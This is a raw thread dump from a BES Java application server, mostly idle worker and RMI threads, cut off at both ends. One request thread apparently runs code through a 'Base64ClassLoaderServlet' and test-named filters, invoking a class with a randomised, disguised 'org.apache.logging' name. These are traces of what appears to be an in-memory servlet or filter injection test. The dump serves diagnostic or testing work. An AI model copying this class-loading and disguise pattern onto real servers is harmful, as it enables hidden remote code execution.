|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"Reference Handler" #2 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at [email protected]/java.lang.ref.Reference.waitForReferencePendingList(Native Method)
|
||||||
|
at [email protected]/java.lang.ref.Reference.processPendingReferences(Reference.java:253)
|
||||||
|
at [email protected]/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:215)
|
||||||
|
|
||||||
|
"httpWorkerThread-1900-1" #68 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79a606ab
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"bes-deployment-scheduled-executor-thread." #92 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ca77621
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679)
|
||||||
|
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182)
|
||||||
|
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@3256970f
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at [email protected]/java.lang.Object.wait(Object.java:338)
|
||||||
|
at com.bes.enterprise.server.builder.BesWebModule.await(BesWebModule.java:285)
|
||||||
|
at com.bes.enterprise.server.builder.BesWebModule.awaitForShutdown(BesWebModule.java:250)
|
||||||
|
at com.bes.enterprise.server.builder.BesWebModule.start(BesWebModule.java:241)
|
||||||
|
at [email protected]/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
|
||||||
|
at [email protected]/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
|
||||||
|
at [email protected]/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
|
||||||
|
at [email protected]/java.lang.reflect.Method.invoke(Method.java:569)
|
||||||
|
at app//com.bes.enterprise.appserver.startup.Bootstrap.start(Bootstrap.java:519)
|
||||||
|
at app//com.bes.enterprise.appserver.startup.Bootstrap.main(Bootstrap.java:650)
|
||||||
|
at app//com.bes.enterprise.startup.ASMain.main(ASMain.java:38)
|
||||||
|
|
||||||
|
"Common-Cleaner" #14 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@462d7091
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
|
||||||
|
at [email protected]/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
at [email protected]/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162)
|
||||||
|
|
||||||
|
"Common Lib Watcher" #19 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/java.lang.Thread.sleep(Native Method)
|
||||||
|
at app//com.bes.enterprise.appserver.startup.CommonClassLoader$1.run(CommonClassLoader.java:92)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-2" #74 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fe3e3a
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"gjc-connection-creator-1" #89 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@f77b5a1
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at com.bes.enterprise.gjc.pool.impl.NoticableLinkedBlockingDeque.awaitAllowCreate(NoticableLinkedBlockingDeque.java:52)
|
||||||
|
at com.bes.enterprise.gjc.pool.impl.GenericObjectPool$ObjectCreator.run(GenericObjectPool.java:293)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"RMI TCP Accept-6600" #93 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at [email protected]/sun.nio.ch.Net.accept(Native Method)
|
||||||
|
at [email protected]/sun.nio.ch.NioSocketImpl.accept(NioSocketImpl.java:760)
|
||||||
|
at [email protected]/java.net.ServerSocket.implAccept(ServerSocket.java:675)
|
||||||
|
at [email protected]/java.net.ServerSocket.platformImplAccept(ServerSocket.java:641)
|
||||||
|
at [email protected]/java.net.ServerSocket.implAccept(ServerSocket.java:617)
|
||||||
|
at [email protected]/java.net.ServerSocket.implAccept(ServerSocket.java:574)
|
||||||
|
at [email protected]/java.net.ServerSocket.accept(ServerSocket.java:532)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:413)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-1" #72 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at [email protected]/java.lang.Thread.dumpThreads(Native Method)
|
||||||
|
at [email protected]/java.lang.Thread.getAllStackTraces(Thread.java:1671)
|
||||||
|
at org.apache.logging.UKnKC.ErrorQvlgaHandler.toString(BasicInfoPrinter.java:26)
|
||||||
|
at [email protected]/java.lang.String.valueOf(String.java:4220)
|
||||||
|
at com.bes.enterprise.webtier.connector.CoyoteWriter.print(CoyoteWriter.java:240)
|
||||||
|
at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:27)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:224)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157)
|
||||||
|
at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:17)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:186)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157)
|
||||||
|
at com.bes.enterprise.web.websocket.server.WsFilter.doFilter(WsFilter.java:49)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:186)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157)
|
||||||
|
at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:22)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:186)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157)
|
||||||
|
at com.bes.enterprise.webtier.core.DefaultWrapperValve.invoke(DefaultWrapperValve.java:193)
|
||||||
|
at com.bes.enterprise.webtier.core.DefaultContextValve.invoke(DefaultContextValve.java:109)
|
||||||
|
at com.bes.enterprise.webext.BesContextCleanupValve.invoke(BesContextCleanupValve.java:50)
|
||||||
|
at com.bes.enterprise.webext.BESAppservValve.invoke(BESAppservValve.java:41)
|
||||||
|
at com.bes.enterprise.webtier.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:550)
|
||||||
|
at com.bes.enterprise.webtier.core.DefaultHostValve.invoke(DefaultHostValve.java:133)
|
||||||
|
at com.bes.enterprise.webext.BESSecurityListener$BESSecurityRequestValve.invoke(BESSecurityListener.java:95)
|
||||||
|
at com.bes.enterprise.webtier.valves.ErrorReportValve.invoke(ErrorReportValve.java:87)
|
||||||
|
at com.bes.enterprise.webtier.core.DefaultEngineValve.invoke(DefaultEngineValve.java:74)
|
||||||
|
at com.bes.enterprise.webtier.connector.CoyoteAdapter.service(CoyoteAdapter.java:388)
|
||||||
|
at com.bes.enterprise.web.crane.http11.Http11Processor.service(Http11Processor.java:473)
|
||||||
|
at com.bes.enterprise.web.crane.AbstractProcessorLight.process(AbstractProcessorLight.java:61)
|
||||||
|
at com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:950)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1955)
|
||||||
|
at com.bes.enterprise.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:47)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1193)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"jmsra-WorkerThread-2" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@18f6cc10
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-8" #80 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fe3e3a
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"RMI Reaper" #94 [WAITING] on java.lang.ref.ReferenceQueue$Lock@1e9eceee
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
|
||||||
|
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176)
|
||||||
|
at [email protected]/sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:352)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"RMI TCP Connection(1)-172.17.0.4" #96 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at [email protected]/sun.nio.ch.Net.poll(Native Method)
|
||||||
|
at [email protected]/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:186)
|
||||||
|
at [email protected]/sun.nio.ch.NioSocketImpl.timedRead(NioSocketImpl.java:290)
|
||||||
|
at [email protected]/sun.nio.ch.NioSocketImpl.implRead(NioSocketImpl.java:314)
|
||||||
|
at [email protected]/sun.nio.ch.NioSocketImpl.read(NioSocketImpl.java:355)
|
||||||
|
at [email protected]/sun.nio.ch.NioSocketImpl$1.read(NioSocketImpl.java:808)
|
||||||
|
at [email protected]/java.net.Socket$SocketInputStream.read(Socket.java:966)
|
||||||
|
at [email protected]/java.io.BufferedInputStream.fill(BufferedInputStream.java:244)
|
||||||
|
at [email protected]/java.io.BufferedInputStream.read(BufferedInputStream.java:263)
|
||||||
|
at [email protected]/java.io.FilterInputStream.read(FilterInputStream.java:82)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:569)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:828)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:705)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$585/0x00007405f05ff4b0.run(Unknown Source)
|
||||||
|
at [email protected]/java.security.AccessController.executePrivileged(AccessController.java:776)
|
||||||
|
at [email protected]/java.security.AccessController.doPrivileged(AccessController.java:399)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:704)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-6" #78 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fe3e3a
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"httpWorkerThread-1900-4" #71 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79a606ab
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"RMI Scheduler(0)" #97 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@331a8c54
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679)
|
||||||
|
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182)
|
||||||
|
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"httpWorkerThread-1900-3" #70 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79a606ab
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"File-watcher-0" #87 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/java.lang.Thread.sleep(Native Method)
|
||||||
|
at com.bes.enterprise.serializer.defence.common.file.watcher.FileAlterationMonitor.run(FileAlterationMonitor.java:105)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"AppServer-utility-1" #67 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2af69321
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177)
|
||||||
|
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"httpWorkerThread-1900-2" #69 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79a606ab
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
